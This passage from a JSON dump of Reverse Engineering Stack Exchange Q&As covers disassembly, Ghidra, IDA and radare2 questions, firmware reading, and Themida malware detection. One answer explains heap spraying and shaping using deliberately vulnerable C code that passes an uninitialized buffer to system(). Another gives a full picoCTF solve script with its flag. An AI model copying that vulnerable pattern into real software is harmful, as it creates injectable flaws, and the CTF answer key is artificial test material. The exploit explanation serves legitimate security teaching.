    &lt;------------\n 54c:   50                      push   eax\n 54d:   8d 83 10 e7 ff ff       lea    eax,[ebx-0x18f0]        &lt;------------\n 553:   50                      push   eax\n 554:   51                      push   ecx\n 555:   56                      push   esi\n 556:   ff b3 f4 ff ff ff       push   DWORD PTR [ebx-0xc]     &lt;------------\n 55c:   e8 bf ff ff ff          call   520 &lt;__libc_start_main@plt&gt;\n 561:   f4                      hlt    \n 562:   8b 1c 24                mov    ebx,DWORD PTR [esp]     &lt;------------\n 565:   c3                      ret    \n 566:   66 90                   xchg   ax,ax\n 568:   66 90                   xchg   ax,ax\n</code></pre>\n\n<p>Here we notice that the offsets here are completely different from those in the non-PIE ELF binary. Additionally, the arrows highlight similarities with the code snippet in the question that are particularly relevant in this context. Just like the code sample provided in the question, the code here is entirely devoid of absolute addresses.</p>\n\n<p><hr>\nReferences:</p>\n\n<ol>\n<li><a href=\"https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld\">What is the -fPIE option for position-independent executables in gcc and ld?\n</a></li>\n</ol>\n"
    },
    {
        "Id": "21225",
        "CreationDate": "2019-04-26T21:52:37.747",
        "Body": "<p>I have some printed circuit boards of a device that is no longer manufactured. I need to repair these boards but there is no replacement for them. I can make other boards, buy the components, but I can not get the firmware, the microcontroller is a STC 89C58RD.</p>\n\n<p>I found a datasheet:</p>\n\n<p><a href=\"http://www.stcmcu.com/datasheet/stc/STC-AD-PDF/STC89C58RD+-english.pdf\" rel=\"nofollow noreferrer\">http://www.stcmcu.com/datasheet/stc/STC-AD-PDF/STC89C58RD+-english.pdf</a></p>\n\n<p>As I could see it can be programmed by serial  RS232 interface. I looked for a programmer but I just find this document in chinese(I'm not sure)  as following :</p>\n\n<p><a href=\"https://www.stcmicro.com/pdf/STC-ISP-Programmer_V6.0_Manual.pdf\" rel=\"nofollow noreferrer\">https://www.stcmicro.com/pdf/STC-ISP-Programmer_V6.0_Manual.pdf</a></p>\n\n<p>I already read and study a bit about JTAG standard and the TAP controller state machine to do a similar job with a Motorola Microcontroller, but I would like to know if someone know this microcontroller STC 89C58RD or has a tip about how to perform this task. </p>\n",
        "Title": "How to read firmware from an STC microcontroller?",
        "Tags": "|firmware|flash|",
        "Answer": "<p>I was doing a similar research and apparently there's no way to read it. STC says that it's a &quot;feature&quot; of their microcontrollers, the bootloader protects the code.</p>\n<p>Links related to this question for anyone who might be interested:\n<a href=\"https://github.com/grigorig/stcgal/issues/7\" rel=\"nofollow noreferrer\">https://github.com/grigorig/stcgal/issues/7</a>\n<a href=\"https://embdev.net/topic/404939\" rel=\"nofollow noreferrer\">https://embdev.net/topic/404939</a>\n<a href=\"https://github.com/grigorig/stcgal/issues/18\" rel=\"nofollow noreferrer\">https://github.com/grigorig/stcgal/issues/18</a></p>\n"
    },
    {
        "Id": "21232",
        "CreationDate": "2019-04-28T10:45:01.073",
        "Body": "<p>I have this piece of code generated from Ghidra</p>\n\n<pre><code>void __cdecl FUNCTION(uint *key,uint *text)\n\n{\n  undefined uVar1;\n  ushort uVar2;\n  uint *puVar3;\n  uint *puVar4;\n  uint *puVar5;\n  int iVar6;\n  uint uVar7;\n  uint *puVar8;\n  uint uVar9;\n  uint local_18c [11];\n  uint *local_14;\n  uint *local_10;\n  uint local_c;\n\n  puVar3 = key;\n  uVar2 = 0;\n  local_10 = (uint *)key[4];\n  local_14 = (uint *)key[3];\n  puVar5 = local_18c;\n  uVar9 = key[1];\n  puVar8 = (uint *)key[2];\n  uVar7 = *key;\n  do {\n    local_c = uVar7;\n    key = puVar8;\n    puVar4 = local_14;\n    if (uVar2 &lt; 0x10) {\n      puVar5[0xe] = *text;\n      uVar1 = *(undefined *)((int)puVar5 + 0x3b);\n      *(undefined *)((int)puVar5 + 0x3b) = *(undefined *)(puVar5 + 0xe);\n      *(undefined *)(puVar5 + 0xe) = uVar1;\n      uVar1 = *(undefined *)((int)puVar5 + 0x3a);\n      *(undefined *)((int)puVar5 + 0x3a) = *(undefined *)((int)puVar5 + 0x39);\n      *(undefined *)((int)puVar5 + 0x39) = uVar1;\n    }\n    else {\n      uVar7 = puVar5[0xb] ^ puVar5[6] ^ puVar5[-2] ^ *puVar5;\n      puVar5[0xe] = uVar7 &gt;&gt; 0x1f | uVar7 * 2;\n    }\n    if (uVar2 &lt; 0x14) {\n      iVar6 = (~uVar9 &amp; (uint)local_14 | (uint)key &amp; uVar9) + 0x5a827999;\n    }\n    else {\n      if (uVar2 &lt; 0x28) {\n        iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0x6ed9eba1;\n      }\n      else {\n        if (uVar2 &lt; 0x3c) {\n          iVar6 = (((uint)key | uVar9) &amp; (uint)local_14 | (uint)key &amp; uVar9) + 0x8f1bbcdc;\n        }\n        else {\n          iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0xca62c1d6;\n        }\n      }\n    }\n    text = text + 1;\n    puVar8 = puVar5 + 0xe;\n    puVar5 = puVar5 + 1;\n    uVar7 = (int)local_10 + iVar6 + (local_c &gt;&gt; 0x1b | local_c &lt;&lt; 5) + *puVar8;\n    puVar8 = (uint *)(uVar9 &lt;&lt; 0x1e | uVar9 &gt;&gt; 2);\n    uVar2 = uVar2 + 1;\n    local_10 = local_14;\n    local_14 = key;\n    uVar9 = local_c;\n  } while (uVar2 &lt; 0x50);\n  *puVar3 = *puVar3 + uVar7;\n  puVar3[1] = puVar3[1] + local_c;\n  puVar3[2] = puVar3[2] + (int)puVar8;\n  puVar3[3] = puVar3[3] + (int)key;\n  puVar3[4] = puVar3[4] + (int)puVar4;\n  return;\n}\n</code></pre>\n\n<p>I'm trying to translate it in Java or C code, but i don't understand how. there are some obscure points.</p>\n\n<p>All variable are typed correctly, but the first uVar1 is \"undefined\", why?</p>\n\n<p>The operator ~ how is it implemented?</p>\n",
        "Title": "Ghidra pseudocode to Java/C",
        "Tags": "|c|decryption|java|ghidra|",
        "Answer": "<p>From Ghidra help:</p>\n\n<blockquote>\n  <p>By default, the variables data type will be UndefinedN where N is the size (in bytes) of the stack reference.</p>\n</blockquote>\n\n<p><code>undefined</code> stands for <code>undefined1</code> and it's a type of size <code>1</code>(byte) in <code>Ghidra</code>. </p>\n\n<p>If some variable is of this type, it basically means that decompiler didn't infer any \"better\" type for this variable (which could be <code>bool</code> or <code>char</code> for example), but it knows that it occupies <code>1</code> byte.</p>\n\n<p>Regarding your second question, <code>~</code> is a <code>bitwise NOT</code> operation, just like in <code>C</code>.</p>\n\n<p><strong>Note1:</strong> If you are unsure what a particular operator means, just select it in decompiler view and it will show you the corresponding disassembly instruction.</p>\n\n<p><strong>Note2:</strong> The code you are analysing may be easier to read when you disable printing of type casts (<code>Edit</code>-><code>Tool options...</code>-><code>Decompiler</code>-><code>Display</code>-><code>Disable printing of type casts</code>).</p>\n\n<p><strong>Note3:</strong> Another option to consider is <code>Use inplace assignment operations</code> (under <code>Decompiler</code>-><code>Analysis</code> in options) to have <code>uVar2 += 1</code> instead of <code>uVar2 = uVar2 + 1</code> for example.</p>\n"
    },
    {
        "Id": "21252",
        "CreationDate": "2019-05-01T08:33:30.470",
        "Body": "<p>I'd like to use some undocumented symbols that listed in <code>ProcessHacker</code> project. taken from Here: </p>\n\n<p><a href=\"https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpebteb.h#L241\" rel=\"nofollow noreferrer\">https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpebteb.h#L241</a>\n<a href=\"https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h#L7156\" rel=\"nofollow noreferrer\">https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h#L7156</a></p>\n\n<p>However, I don't know to which dll do they belong... </p>\n\n<p>In project readme page, it's said that I only need the latest windows SDK, but after compilation I get :  </p>\n\n<pre><code>Severity    Code    Description Project File    Line    Suppression State\n\nError   LNK2019 unresolved external symbol \"__declspec(dllimport) struct \n_TEB_ACTIVE_FRAME * __cdecl RtlGetFrame(void)\" (__imp_?\nRtlGetFrame@@YAPEAU_TEB_ACTIVE_FRAME@@XZ) referenced in function \"public: static\n struct _TEB_ACTIVE_FRAME * __cdecl _RTL_FRAME::get(struct \n_TEB_ACTIVE_FRAME_CONTEXT const *)\" (?\nget@_RTL_FRAME@@SAPEAU_TEB_ACTIVE_FRAME@@PEBU_TEB_ACTIVE_FRAME_CONTEXT@@@Z) \nTestReentrancy  C:\\projects\\2.3\\unit_tests\\InjectionTest\\Project1\\main.obj  1   \n\n</code></pre>\n\n<p>Perhaps anybody can tell me how to adjust my project configuration to make it work ? thanks !</p>\n",
        "Title": "Missing Symbols RtlGetFrame, RtlPushFrame, RtlPopFrame",
        "Tags": "|windows|winapi|symbols|",
        "Answer": "<p>Those functions are exported from <code>ntdll.dll</code> file. To link with those functions, add <code>#pragma comment (lib, \"ntdll.lib\")</code> in the source file. Or in Visual Studio, first check the active Configuration and Platform. Then add the library in Project > Properties > Linker > Input > Additional Dependencies. For example, like this <code>%(AdditionalDependencies); ntdll.lib</code>. For mingw, cygwin, msys2 etc. toolchains (where GCC is used), use <code>-lntdll</code> option in command. </p>\n\n<p>Or the functions can be written directly in the source code also without importing those from ntdll. Those functions use members from <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">Thread Information Block (TEB)</a> as follows:</p>\n\n\n\n<pre><code>PTEB_ACTIVE_FRAME RtlGetFrame()\n{\n    return NtCurrentTeb()-&gt;ActiveFrame;\n}\n\nvoid RtlPushFrame(PTEB_ACTIVE_FRAME Frame)\n{\n    struct _TEB *Teb;\n\n    Teb = NtCurrentTeb();\n    Frame-&gt;Previous = Teb-&gt;ActiveFrame;\n    Teb-&gt;ActiveFrame = Frame;\n}\n\nvoid RtlPopFrame(PTEB_ACTIVE_FRAME Frame)\n{\nNtCurrentTeb()-&gt;ActiveFrame = Frame-&gt;Previous;\n}\n</code></pre>\n\n\n"
    },
    {
        "Id": "21253",
        "CreationDate": "2019-05-01T12:32:58.657",
        "Body": "<p>There are a few places where the decompiler displays a number as a hex literal when it's much clearer as a decimal literal. How do I change this?</p>\n",
        "Title": "How do I make a hex literal a decimal literal in Ghidra?",
        "Tags": "|ghidra|decompiler|",
        "Answer": "<p>Right click on the number</p>\n\n<p>Convert -> Unsigned Decimal:</p>\n\n<p><a href=\"https://i.stack.imgur.com/MsVVj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MsVVj.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "21260",
        "CreationDate": "2019-05-02T09:33:36.863",
        "Body": "<p>Well, I've been digging around <em>process command line arguments</em> as well as <em>environment variables</em> a bit these last days, especially looking up the way <code>main</code> function arguments were pushed onto the stack.</p>\n<p>So far I've got it that a certain <code>_libc_start_main()</code> function is responsible of setting up everything the <code>main()</code> function needs in terms of parameters before actually calling it.<br />\nWithout getting into much <a href=\"https://reverseengineering.stackexchange.com/a/15175/24851\">details</a>, I've noticed that when debugging a simple <code>main</code> program, the <code>main</code> stack frame is different whether we look it up in <code>radare2</code> or <code>gdb</code>.<br />\nFor instance, let's take this minimalist C program :</p>\n<pre><code>int main (int argc, char *argv[], char *envp[])\n{\n}\n</code></pre>\n<p>And simply debug it without any additional parameters :</p>\n<h2>With GDB</h2>\n<p>After setting a breakpoint on the first assembly instruction of <code>main</code> (I couldn't dump the stack frame without running the program),\nwhat I got in <code>gdb</code> is something very sensible, as one can see :</p>\n<pre><code>(gdb) x/3xw $esp\n0xffffcfbc:     0xf7db7b41          0x00000001      0xffffd054      \n#                  ^                    ^               ^     \n#              PC (somewhere          argc            argv             \n#          in __libc_start_main())\n</code></pre>\n<p>Now by actually inspecting the pointed out memory regions for <code>argv</code> :</p>\n<pre><code>(gdb) x/2xw 0xffffd054   # argv\n0xffffd054:     0xffffd1ef      0x00000000\n#                  ^                ^ \n#                argv[0]          argv[argc]\n#           (another pointer)              \n\n(gdb) x/s 0xffffd1ef  # argv[0]\n0xffffd1ef:     &quot;&lt;path&gt;/argvonstack32&quot;\n#                      ^ \n#                  Exepected program name\n</code></pre>\n<p>So what was basically pushed onto the <code>main</code> stack frame, for both <code>argv</code> and <code>envp</code> (even if I didn't show the dump for <code>envp</code> for simplicity's sake) is exactly what we were entitled to expect from a debugger, that is a <em>pointer to pointer to <code>char</code></em> (as stated in the <code>main</code> function signature).</p>\n<h2>With Radare2</h2>\n<p>Without setting any breakpoint, and directly inspecting the stack frame without running the program, <code>radare2</code> shows a different stack frame :</p>\n<pre><code>- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment\n0xffa63d10  0100 0000 1953 a6ff 0000 0000 2953 a6ff  .....S......)S..  ; esp\n                ^         ^         ^       \n              argc     argv[0]    argv[1]\n</code></pre>\n<p>When inspecting <code>argv[0]</code> :</p>\n<pre><code>- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment\n0xffa65319  2e2f 6172 6776 6f6e 7374 6163 6b33 3200  ./argvonstack32.\n0xffa65329  5348 454c 4c3d 2f62 696e 2f62 6173 6800  SHELL=/bin/bash.\n</code></pre>\n<p>That shows that <code>radare2</code> skipped the first pointer indirection of <code>argv</code> and pushed the list <code>argv[0]...argv[argc]</code> directly onto the <code>main</code> stack frame.</p>\n<p>What explains such a difference ?</p>\n<p><em><strong>PS:</strong></em> As you can see, the only difference there is between my usage of <code>radare2</code> and <code>gdb</code> was that I runned the program in <code>gdb</code> while  didn't need to actually run it on <code>radare2</code> to dump the <code>main</code> stack frame memory.</p>\n",
        "Title": "radare2 shows main function arguments argv as pointer to char on the stack, not as pointer to pointer to char",
        "Tags": "|debugging|radare2|gdb|stack|entry-point|",
        "Answer": "<p>You are sort of comparing oranges and apples. </p>\n\n<p>In the first example, you are looking at the arguments passed to the <code>main</code> function by the C library, and they match the C standard requirements (array of <code>char</code> pointers).</p>\n\n<p>In the second example, you are looking at the low level <em>entry point</em> to the binary and the parameters <em>from the kernel</em>, before they have been processed by the C library. The kernel does no fancy processing: it just puts all strings in one block delimited by zero bytes (and terminated with two zeroes) and leaves the splitting to the program itself. Usually this is done by <code>__libc_start_main</code> or similar function before calling <code>main()</code>.</p>\n"
    },
    {
        "Id": "21265",
        "CreationDate": "2019-05-02T17:32:59.787",
        "Body": "<p>I'm working in a large SOC and my manager has tasked me with finding some way to provide coverage for Themida packed malware samples.</p>\n\n<p>As alluring as it is to suggest just blacklisting all Themida packed software and calling it a day, I would like to do my due diligence before I take that approach.</p>\n\n<p>I noticed that Themida claims to digitally watermark their executables to protect against piracy, and copies of the software are available for torrent on many pirate sites. I was wondering whether the software left the watermark on the packed executables, and whether the pirated software leaves a watermark on the packed binaries that could be signed against. </p>\n\n<p>I know that this is a thing based off of the answer to this post: <a href=\"https://reverseengineering.stackexchange.com/questions/1478/how-common-are-virtualized-packers-in-the-wild/1479#1479\">How common are virtualized packers in the wild?</a>, but the person who answered provided sources for all of his other claims besides this one.</p>\n",
        "Title": "Detecting cracked Themida packed malware",
        "Tags": "|malware|security|yara|",
        "Answer": "<p>From <a href=\"http://www.oreans-support.com/kmp/index.php?/article/AA-00553/7/General/Whats-the-purpose-of-the-Taggant-Information-feature-in-the-Protection-Options-panel.html\" rel=\"nofollow noreferrer\">Oreans KB</a>:</p>\n\n<blockquote>\n  <p>The Taggant System is a cryptographic signature added to a software to\n  fight against antivirus false positives in protected applications. The\n  Taggant information in your Themida/WinLicense license contains an\n  internal ID and your private key to insert and sign the protected\n  binary with your Taggant information, so antivirus companies can\n  detect that the application is protected by a trusted customer and not\n  report it as false positive. Notice that if a license is leaked and\n  used to protect malware/virus, antivirus companies will blacklist that\n  Taggant signature and anything protected with that license will be\n  marked as virus/malware.</p>\n  \n  <p>More information about the IEEE Software Taggant System:</p>\n  \n  <ul>\n  <li><a href=\"http://standards.ieee.org/develop/indconn/icsg/taggant.pdf\" rel=\"nofollow noreferrer\">http://standards.ieee.org/develop/indconn/icsg/taggant.pdf</a></li>\n  <li><a href=\"http://en.wikipedia.org/wiki/Software_taggant\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Software_taggant</a></li>\n  </ul>\n  \n  <p>Please, notice that we are expecting that antivirus companies will\n  enable the Taggant System into their products as soon as possible, but\n  it might take some time till the Taggant System is fully ready in all\n  antiviruses companies. </p>\n  \n  <p>When you enable the \u201cTaggant Information\u201d option you will require\n  internet connection in protection time to compute your Taggant\n  information and be able to insert it inside the protected binary (it\n  connects to \u201c<a href=\"http://taggant-tsa.ieee.org/\" rel=\"nofollow noreferrer\">http://taggant-tsa.ieee.org/</a>\u201d). If no internet connection\n  is available in protection time, your application will be protected\n  normally, but it won\u2019t contain any Taggant information.</p>\n</blockquote>\n\n<p>So supposedly the legit binaries should have a valid tag signed with a non-blacklisted certificate. See the links for more details. There is <a href=\"https://github.com/IEEEICSG/IEEE_Taggant_System\" rel=\"nofollow noreferrer\">some code on Github</a> too. </p>\n\n<hr>\n\n<p><strong>EDIT</strong> apparently the taggant servers <a href=\"http://vmpsoft.com/20180505/ieee-amss-taggant-system-will-shut-down-on-31-july-2018/\" rel=\"nofollow noreferrer\">were shut down in 2018</a> so probably this can't be used for real-time checks anymore but maybe you can still detect bad files if tags are added by the leaked versions...</p>\n"
    },
    {
        "Id": "21286",
        "CreationDate": "2019-05-06T20:44:06.747",
        "Body": "<p>I have the following IDA output:</p>\n\n<pre><code>BEGTEXT:00415A2C read_dpc_sub_415928 endp\nBEGTEXT:00415A2C\nBEGTEXT:00415A2C ; ---------------------------------------------------------------------------\nBEGTEXT:00415A2D                 align 10h\nBEGTEXT:00415A30                 push    ebx\nBEGTEXT:00415A31                 push    edx\nBEGTEXT:00415A32                 mov     edx, eax\nBEGTEXT:00415A34                 call    sub_41576C\nBEGTEXT:00415A39                 mov     ebx, eax\nBEGTEXT:00415A3B                 call    sub_415758\nBEGTEXT:00415A40                 mov     eax, ebx\nBEGTEXT:00415A42                 call    sub_4158C8\nBEGTEXT:00415A47                 mov     eax, ebx\nBEGTEXT:00415A49                 pop     edx\nBEGTEXT:00415A4A                 pop     ebx\nBEGTEXT:00415A4B                 retn\nBEGTEXT:00415A4B ; ---------------------------------------------------------------------------\n</code></pre>\n\n<p>As you can see, IDA has considered that this is a code block but it hasn't been made a function.</p>\n\n<p><strong>Can you explain how one should try handle this situation ?</strong></p>\n\n<p>i.e. is this really code in the end and what to consider when making a function.</p>\n\n<p>(if that matters, the executable is a 32-bit Windows one)</p>\n",
        "Title": "Is this really a function IDA could not decode?",
        "Tags": "|ida|",
        "Answer": "<p>You can make it a function by placing a cursor to address 00415A2C in disassembly view and pressing <kbd>P</kbd>. If this doesn't work you can select the whole function and, again, press <kbd>P</kbd>. The documentation on this action is located <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/484.shtml\" rel=\"noreferrer\">here</a>. If all this doesn't work, undefine <code>align 10h</code> by pressing <kbd>U</kbd>, make resulting bytes code by pressing <kbd>C</kbd> and try again.</p>\n\n<p>There are a lot of reasons why this function has not been created automatically, including, but not limited by:</p>\n\n<ul>\n<li>This function is not called directly</li>\n<li>This function is not called at all</li>\n<li>IDA autoanalysis was unable to find a reference to this function as function</li>\n</ul>\n"
    },
    {
        "Id": "21310",
        "CreationDate": "2019-05-14T15:40:47.473",
        "Body": "<p>I have a 32-bit ARM Linux kernel module with debug symbols. When it is decompiled, it produces many functions that have a macro called <code>MEMORY</code> in them. Here is an example:</p>\n\n<pre><code>int S_u8init_flag = 0; // Context for function internals\nint aess_adcsensor_release(inode *inode, file *filp) {\n  int result;\n\n  result = 0;\n  MEMORY[0xF0014000] &amp;= 0xFFFDFFFF; // What does this mean?\n  S_u8init_flag = 0;\n  return result;\n}\n</code></pre>\n\n<p>What does this <code>MEMORY</code> macro mean? Is there a C99 equivalent to it, or is it an IDA-specific macro?</p>\n",
        "Title": "MEMORY macro in IDA Pro pseudocode",
        "Tags": "|ida|arm|",
        "Answer": "<p><code>MEMORY[&lt;addr&gt;]</code> means there is a direct access to a memory address which is not mapped to an existing segment in the IDB so the decompiler/IDA could not allocate a variable for it. </p>\n\n<p>If you press <kbd>Tab</kbd>, you should land on the assembly corresponding to that line and check what is happening there.</p>\n"
    },
    {
        "Id": "21317",
        "CreationDate": "2019-05-15T16:10:04.733",
        "Body": "<p>Recent RDP <a href=\"https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/\" rel=\"nofollow noreferrer\">vulnerability</a> and exploits have mentioned the use of heap shaping technique. \nCan anyone please explain in details what is actually involved in using this tactic. </p>\n\n<p>Thanks</p>\n",
        "Title": "Explanation of heap shaping technique and how it is different from heap spraying",
        "Tags": "|exploit|heap|",
        "Answer": "<p>Heap shaping (also called heap grooming, for a more passive approach) is the slightly more intelligent sibling of heap spraying while developing exploits. Therefore, to properly explain heap shaping one must first be familiar with <a href=\"https://en.wikipedia.org/wiki/Heap_spraying\" rel=\"nofollow noreferrer\">heap spraying</a>.</p>\n\n<h2>heap spraying</h2>\n\n<p>Heap spraying is the act of intentionally filling (spraying) a target process's heap space with recurring/sequential data, using an external attack primitive.</p>\n\n<p>Say for example, you've found a uninitialized-variable bug, where a variable is not initialized when it should, and is then used in a manner that could be dangerous depending on it's the actual value.</p>\n\n<p>An example might make it clearer:</p>\n\n<pre><code>typedef struct __struct_cmd {\n    int type;\n    char shell_cmd[1024];\n} struct_cmd;\n\nvoid safe_cmd(struct_cmd* cmd)\n{\n    switch (cmd-&gt;type)\n    {\n    case CMD_1:\n        strcpy(cmd-&gt;shell_cmd, SAFE_CMD1);\n        break;\n    case CMD_2:\n        strcpy(cmd-&gt;shell_cmd, SAFE_CMD2);\n        break;\n    }\n    system(cmd-&gt;shell_cmd);\n}\n</code></pre>\n\n<p>In the above example, it's easy to notice that if a user provides any value other than <code>CMD_1</code> or <code>CMD_2</code> for <code>cmd.type</code>, <code>shell_cmd</code> will not be uninitialized and an unknown value will be passed on to the lucrative <code>system</code> call.</p>\n\n<p>Being able to set <code>cmd-&gt;shell_cmd</code> to a specific value that is a valid (and malicious) shell command will potentially give us code execution on the target. Simply put, heap spraying is the act of getting a lot of heap memory space filled with the specific shell command we'd like to execute.</p>\n\n<h2>heap shaping</h2>\n\n<p>Now that was a relatively trivial case, and quite frequently heap spraying/shaping are used to exploit memory corruption bugs but that's irrelevant. Usually, you'd be addressing many more constraints to successfully exploit a memory corruption, and \"filling the heap with data\" simply won't be enough. </p>\n\n<p>Double-free and use-after-free bugs will require specific objects/structs be allocated at the same space  a different object previously reside in. You'd then need to make sure the heap has a specific <em>shape</em>, in a way, so that a different object will \"fit\" into a <a href=\"https://en.wikipedia.org/wiki/Coalescing_(computer_science)\" rel=\"nofollow noreferrer\">coalescing heap</a> (or high fragmentation heap, as opposed to <a href=\"https://docs.microsoft.com/en-us/windows/desktop/Memory/low-fragmentation-heap\" rel=\"nofollow noreferrer\">low fragmentation heap</a>). You may need to make sure a specific instance you control through a primitive is allocated in the right spot. Getting the heap to be in that specific way is what's called \"heap shaping\"</p>\n"
    },
    {
        "Id": "21328",
        "CreationDate": "2019-05-18T01:00:14.270",
        "Body": "<p>This is <code>be-quick-or-be-dead-1</code> in <code>picoCTF</code> challenge (<a href=\"http://bayanbox.ir/info/7975794566083887573/be-quick-or-be-dead-1\" rel=\"nofollow noreferrer\">Download</a>)</p>\n\n<p>in this file we can see <code>decrypt_flag()</code> function, this function return this flag:</p>\n\n<pre><code>./be-quick-or-be-dead-1 \nCalculating key...\nDone calculating key\nPrinting flag:\npicoCTF{why_bother_doing_unnecessary_computation_fedbb737}\n</code></pre>\n\n<p>i wanted to implement this function with python, and i wrote this code:</p>\n\n<pre><code>key=[0x2c,0x97,0xa5,0xe9]\ni=0\nflag=[0x5c,0xfe,0xc6,0x86,0x6e,0xc3,0xe3,0x92,0x59,0xff,0xdc,0xb6,0x4d,0xf8,0xd1,0x81,0x55,0xe5,0xfa,0x8d,0x5e,0xfe,0xcb,0x8e,0x6d,0xe2,0xcb,0x87,0x56,0xf4,0xc0,0x9a,0x47,0xf6,0xd7,0x90,0x6a,0xf4,0xca,0x84,0x46,0xe2,0xd1,0x88,0x43,0xfe,0xca,0x87,0x67,0xf1,0xc0,0x8d,0x5b,0xf5,0x92,0xda,0x0d,0xea]\nwhile i &lt; 58 :\n    flag[i] = chr(flag[i] ^ key[(i&amp;3)])\n    i=i+1\n\nprint \"\".join(flag)\n</code></pre>\n\n<p>but when i run it, print wrong flag:</p>\n\n<pre><code>picoBTF{uhy_aothyr_dringAunnzceskaryFcomjutaoionKfedwb73!}\n</code></pre>\n\n<p>what is my problem?</p>\n\n<p>thank you</p>\n",
        "Title": "picoCTF be-quick-or-be-dead-1 dcrypt simulation with python",
        "Tags": "|decryption|python|",
        "Answer": "<p>Your solution script is missing one vital part. if you look at the disassembly you could notice such part</p>\n\n<pre><code>0x004006ee      8b45ec         mov eax, dword [var_14h]\n0x004006f1      83c001         add eax, 1\n0x004006f4      8945ec         mov dword [var_14h], eax\n</code></pre>\n\n<p>Where <code>var_14h</code> the key is located so that this part is modifying the first entry in the <code>key</code> every time the algorithm loops over it (you can check few lines above those ones). \nYou could modify your script like this:</p>\n\n<blockquote>\n  <p>\u279c  picoCTF cat solv.py </p>\n</blockquote>\n\n<pre><code>key=[0x2c,0x97,0xa5,0xe9]\ni=0\nflag=  [0x5c,0xfe,0xc6,0x86,0x6e,0xc3,0xe3,0x92,0x59,0xff,0xdc,0xb6,0x4d,0xf8,0xd1,0x81,0x55,0xe5,0xfa,0x8d,0x5e,0xfe,0xcb,0x8e,0x6d,0xe2,0xcb,0x87,0x56,0xf4,0xc0,0x9a,0x47,0xf6,0xd7,0x90,0x6a,0xf4,0xca,0x84,0x46,0xe2,0xd1,0x88,0x43,0xfe,0xca,0x87,0x67,0xf1,0xc0,0x8d,0x5b,0xf5,0x92,0xda,0x0d,0xea]\nwhile i &lt; 58 :\n    flag[i] = chr(flag[i] ^ key[(i&amp;3)])\n    if i&amp;3 == 0:\n        key[0] = key[0] + 1\n    i=i+1\n\nprint \"\".join(flag)\n</code></pre>\n\n<blockquote>\n  <p>\u279c  picoCTF python solv.py <br>\n  picoCTF{why_bother_doing_unnecessary_computation_fedbb737}</p>\n</blockquote>\n"
    },
    {
        "Id": "21332",
        "CreationDate": "2019-05-18T14:20:04.537",
        "Body": "<p>I recently started reading a book about reverse engineering. In one of the examples it uses gdb (debugger) to disassemble the main. So I did it, and the output is below</p>\n\n<pre><code>(gdb) disass main\nDump of assembler code for function main:\n   0x0000118d &lt;+0&gt;: lea    ecx,[esp+0x4]\n   0x00001191 &lt;+4&gt;: and    esp,0xfffffff0\n   0x00001194 &lt;+7&gt;: push   DWORD PTR [ecx-0x4]\n   0x00001197 &lt;+10&gt;:    push   ebp\n   0x00001198 &lt;+11&gt;:    mov    ebp,esp\n   0x0000119a &lt;+13&gt;:    push   ebx\n   0x0000119b &lt;+14&gt;:    push   ecx\n   0x0000119c &lt;+15&gt;:    sub    esp,0x10\n   0x0000119f &lt;+18&gt;:    call   0x1090 &lt;__x86.get_pc_thunk.bx&gt;\n   0x000011a4 &lt;+23&gt;:    add    ebx,0x2e5c\n   0x000011aa &lt;+29&gt;:    mov    DWORD PTR [ebp-0xc],0x0\n   0x000011b1 &lt;+36&gt;:    jmp    0x11c9 &lt;main+60&gt;\n   0x000011b3 &lt;+38&gt;:    sub    esp,0xc\n   0x000011b6 &lt;+41&gt;:    lea    eax,[ebx-0x1ff8]\n   0x000011bc &lt;+47&gt;:    push   eax\n   0x000011bd &lt;+48&gt;:    call   0x1030 &lt;puts@plt&gt;\n   0x000011c2 &lt;+53&gt;:    add    esp,0x10\n   0x000011c5 &lt;+56&gt;:    add    DWORD PTR [ebp-0xc],0x1\n   0x000011c9 &lt;+60&gt;:    cmp    DWORD PTR [ebp-0xc],0x9\n   0x000011cd &lt;+64&gt;:    jle    0x11b3 &lt;main+38&gt;\n--Type &lt;RET&gt; for more, q to quit, c to continue without paging--\n   0x000011cf &lt;+66&gt;:    mov    eax,0x0\n   0x000011d4 &lt;+71&gt;:    lea    esp,[ebp-0x8]\n   0x000011d7 &lt;+74&gt;:    pop    ecx\n   0x000011d8 &lt;+75&gt;:    pop    ebx\n   0x000011d9 &lt;+76&gt;:    pop    ebp\n   0x000011da &lt;+77&gt;:    lea    esp,[ecx-0x4]\n   0x000011dd &lt;+80&gt;:    ret    \nEnd of assembler dump.\n</code></pre>\n\n<p>And now I put a breakpoint at main to check the eip register value and compare it with address at main function as shown below</p>\n\n<pre><code>(gdb) info register eip\neip            0x565561aa          0x565561aa &lt;main+29&gt;\n</code></pre>\n\n<p>And here comes the problem, eip register value is not matching with the address at main in my case (shown below),</p>\n\n<pre><code>0x000011aa &lt;+29&gt;:   mov    DWORD PTR [ebp-0xc],0x0\n</code></pre>\n\n<p>whereas in the example it was mentioned that it will match. Please help me in solving this. Thanks in advance.</p>\n\n<p><strong>Update</strong> : examining instruction at eip , address matches with eip but not with address in the memory dumb shown above</p>\n\n<pre><code>(gdb) x/i $eip\n=&gt; 0x565561aa &lt;main+29&gt;:    mov    DWORD PTR [ebp-0xc],0x0\n</code></pre>\n",
        "Title": "eip register address not matching with address at breakpoint (breakpoint set at main function)",
        "Tags": "|disassembly|debugging|gdb|",
